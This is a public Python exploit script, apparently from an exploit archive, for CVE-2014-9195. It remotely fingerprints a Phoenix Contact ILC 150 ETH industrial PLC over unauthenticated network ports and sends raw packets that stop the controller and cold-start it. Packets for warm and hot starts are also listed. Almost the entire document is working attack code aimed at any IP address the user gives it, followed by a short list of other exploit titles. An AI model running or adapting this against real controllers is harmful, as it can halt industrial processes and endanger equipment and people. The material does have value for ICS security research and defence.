Phoenix Contact ILC 150 ETH PLC – Remote Control Script

#!/usr/bin/env python

'''

# Exploit Title: Phoenix Contact ILC 150 ETH PLC Remote Control script

# Date: 2015-05-19

# Exploit Author: Photubias - tijl[dot]deneut[at]howest[dot]be

# Vendor Homepage: https://www.phoenixcontact.com/online/portal/us?urile=pxc-oc-itemdetail:pid=2985330

# Version: ALL FW VERSIONS

# Tested on: Python runs on Windows, Linux

# CVE : CVE-2014-9195

Written for Howest(c) University College

This program is free software: you can redistribute it and/or modify

it under the terms of the GNU General Public License as published by

the Free Software Foundation, either version 3 of the License, or

(at your option) any later version.

This program is distributed in the hope that it will be useful,

but WITHOUT ANY WARRANTY; without even the implied warranty of

MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the

GNU General Public License for more details.

You should have received a copy of the GNU General Public License

along with this program. If not, see <http://www.gnu.org/licenses/>.

File name ControlPLC.py

written by tijl[dot]deneut[at]howest[dot]be

This POC will print out the current status of the PLC, continuously every 0.1 second, after 3 seconds it reverts (start becomes stop, stop becomes cold start), and stops after 5 seconds

Works on ILC 15x ETH, partly on RFC 43x, partly on ILC 39x

'''

import sys, socket, binascii, time, os, select, re

IP=''

infoport=1962

controlport=41100

## Defining Functions First

def send_and_recv(s,size,strdata):

data = binascii.unhexlify(strdata) ## Convert to real HEX (\x00\x00 ...)

s.send(data)

ret = s.recv(4096)

return ret

def doAction(s,strdata):

ret = send_and_recv(s,1000,strdata)

# In official state these are send, they do not seem to be needed

send_and_recv(s,1000,packet1)

send_and_recv(s,1000,packet2)

ret = send_and_recv(s,1000,'010002000000020003000100000000000840')

send_and_recv(s,1000,packet2)

return ret

def initMonitor(s):

send_and_recv(s,1000,'0100000000002f00000000000000cfff4164652e52656d6f74696e672e53657276696365732e4950726f436f6e4f53436f6e74726f6c536572766963653200')

send_and_recv(s,1000,'0100000000002e0000000000000000004164652e52656d6f74696e672e53657276696365732e4950726f436f6e4f53436f6e74726f6c5365727669636500')

send_and_recv(s,1000,'010000000000290000000000000000004164652e52656d6f74696e672e53657276696365732e49446174614163636573735365727669636500')

send_and_recv(s,1000,'0100000000002a00000000000000d4ff4164652e52656d6f74696e672e53657276696365732e49446576696365496e666f536572766963653200')

send_and_recv(s,1000,'010000000000290000000000000000004164652e52656d6f74696e672e53657276696365732e49446576696365496e666f5365727669636500')

send_and_recv(s,1000,'0100000000002500000000000000d9ff4164652e52656d6f74696e672e53657276696365732e49466f726365536572766963653200')

send_and_recv(s,1000,'010000000000240000000000000000004164652e52656d6f74696e672e53657276696365732e49466f7263655365727669636500')

send_and_recv(s,1000,'0100000000003000000000000000ceff4164652e52656d6f74696e672e53657276696365732e4953696d706c6546696c65416363657373536572766963653300')

send_and_recv(s,1000,'010000000000300000000000000000004164652e52656d6f74696e672e53657276696365732e4953696d706c6546696c65416363657373536572766963653200')

send_and_recv(s,1000,'0100000000002a00000000000000d4ff4164652e52656d6f74696e672e53657276696365732e49446576696365496e666f536572766963653200')

send_and_recv(s,1000,'010000000000290000000000000000004164652e52656d6f74696e672e53657276696365732e49446576696365496e666f5365727669636500')

send_and_recv(s,1000,'0100000000002a00000000000000d4ff4164652e52656d6f74696e672e53657276696365732e4944617461416363657373536572766963653300')

send_and_recv(s,1000,'010000000000290000000000000000004164652e52656d6f74696e672e53657276696365732e49446174614163636573735365727669636500')

send_and_recv(s,1000,'0100000000002a00000000000000d4ff4164652e52656d6f74696e672e53657276696365732e4944617461416363657373536572766963653200')

send_and_recv(s,1000,'0100000000002900000000000000d5ff4164652e52656d6f74696e672e53657276696365732e49427265616b706f696e745365727669636500')

send_and_recv(s,1000,'0100000000002800000000000000d6ff4164652e52656d6f74696e672e53657276696365732e4943616c6c737461636b5365727669636500')

send_and_recv(s,1000,'010000000000250000000000000000004164652e52656d6f74696e672e53657276696365732e494465627567536572766963653200')

send_and_recv(s,1000,'0100000000002f00000000000000cfff4164652e52656d6f74696e672e53657276696365732e4950726f436f6e4f53436f6e74726f6c536572766963653200')

send_and_recv(s,1000,'0100000000002e0000000000000000004164652e52656d6f74696e672e53657276696365732e4950726f436f6e4f53436f6e74726f6c5365727669636500')

send_and_recv(s,1000,'0100000000003000000000000000ceff4164652e52656d6f74696e672e53657276696365732e4953696d706c6546696c65416363657373536572766963653300')

send_and_recv(s,1000,'010000000000300000000000000000004164652e52656d6f74696e672e53657276696365732e4953696d706c6546696c65416363657373536572766963653200')

send_and_recv(s,1000,'0100020000000e0003000300000000000500000012401340130011401200')

return

def is_ipv4(ip):

match = re.match("^(\d{0,3})\.(\d{0,3})\.(\d{0,3})\.(\d{0,3})$", ip)

if not match:

return False

quad = []

for number in match.groups():

quad.append(int(number))

if quad[0] < 1:

return False

for number in quad:

if number > 255 or number < 0:

return False

return True

##### The Actual Program

if not len(sys.argv) == 2:

IP = raw_input("Please enter the IPv4 address of the Phoenix PLC: ")

else:

IP = sys.argv[1]

if not is_ipv4(IP):

print "Please go read RFC 791 and then use a legitimate IPv4 address."

sys.exit()

## - initialization, this will get the PLC type, Firmware version, build date & time

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((IP,infoport))

print 'Initializing PLC'

print '----------------'

code = send_and_recv(s,1000,'0101001a005e000000000003000c494245544830314e305f4d00').encode('hex')[34:36]

send_and_recv(s,1000,'01050016005f000008ef00' + code + '00000022000402950000')

ret = send_and_recv(s,1000,'0106000e00610000881100' + code + '0400')

print 'PLC Type = ' + ret[30:50]

print 'Firmware = ' + ret[66:70]

print 'Build = ' + ret[79:100]

send_and_recv(s,1000,'0105002e00630000000000' + code + '00000023001c02b0000c0000055b4433325d0b466c617368436865636b3101310000')

send_and_recv(s,1000,'0106000e0065ffffff0f00' + code + '0400')

send_and_recv(s,1000,'010500160067000008ef00' + code + '00000024000402950000')

send_and_recv(s,1000,'0106000e0069ffffff0f00' + code + '0400')

send_and_recv(s,1000,'0102000c006bffffff0f00' + code)

s.shutdown(socket.SHUT_RDWR)

s.close()

print 'Initialization done'

print '-------------------\r\n'

print 'Will now print the PLC state and reverse it after 3 seconds'

raw_input('Press [Enter] to continue')

########## CONTROL PHASE ####### Start monitoring with loop on port 41100

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((IP,controlport))

# First init phase (sending things like 'Ade.Remoting.Services.IProConOSControlService2' and 'Ade.Remoting.Services.ISimpleFileAccessService3', 21 packets)

initMonitor(s)

# Query packet

packet1 = '010002000000080003000300000000000200000002400b40'

# Keepalive packet

packet2 = '0100020000001c0003000300000000000c00000007000500060008001000020011000e000f000d0016401600'

## The loop keepalive and query status loop (2 x keepalive, one time query):

i = 0

state = 'On'

running = 0

stopme = 0

startme = 0

while True:

i += 1

time.sleep(0.1)

## Keep Alive

send_and_recv(s,1000,packet2)

## Possible actions (like stop/start) should be sent now before the query state

if (state == 'Running' and stopme):

print 'Sending Stop'

doAction(s,'01000200000000000100070000000000')

startme = stopme = 0

elif (state == 'Stop' and startme):

print 'Sending COLD Start'

## This is the COLD start: doAction(s,'010002000000020001000600000000000100')

## This is the WARM start: doAction(s,'010002000000020001000600000000000200')

## This is the HOT start: doAction(s,'010002000000020001000600000000000300')

doAction(s,'010002000000020001000600000000000100')

startme = stopme = 0

## Query Status

ret = send_and_recv(s,1000,packet1).encode('hex')

if ret[48:50] == '03':

state = 'Running'

elif ret[48:50] == '07':

state = 'Stop'

elif ret[48:50] == '00':

state = 'On'

else:

print 'State unknown, found code: '+ret.encode('hex')[48:50]

print 'Current PLC state: '+state

## Maintaining the LOOP

if i == 50:

break

# '''

if i == 30:

if state == 'Running':

stopme = 1

else:

startme = 1

#'''

raw_input('All done, press [Enter] to exit')

相关漏洞条目

strongSwan 5.9.13 – libsimaka EAP-SIM/AKA heap buffer overflow

Wing FTP Server 8.1.3 – Authenticated Remote Code Execution

Microsoft – NTLMv2 Hash Capture

telnetd 2.7 – Buffer Overflow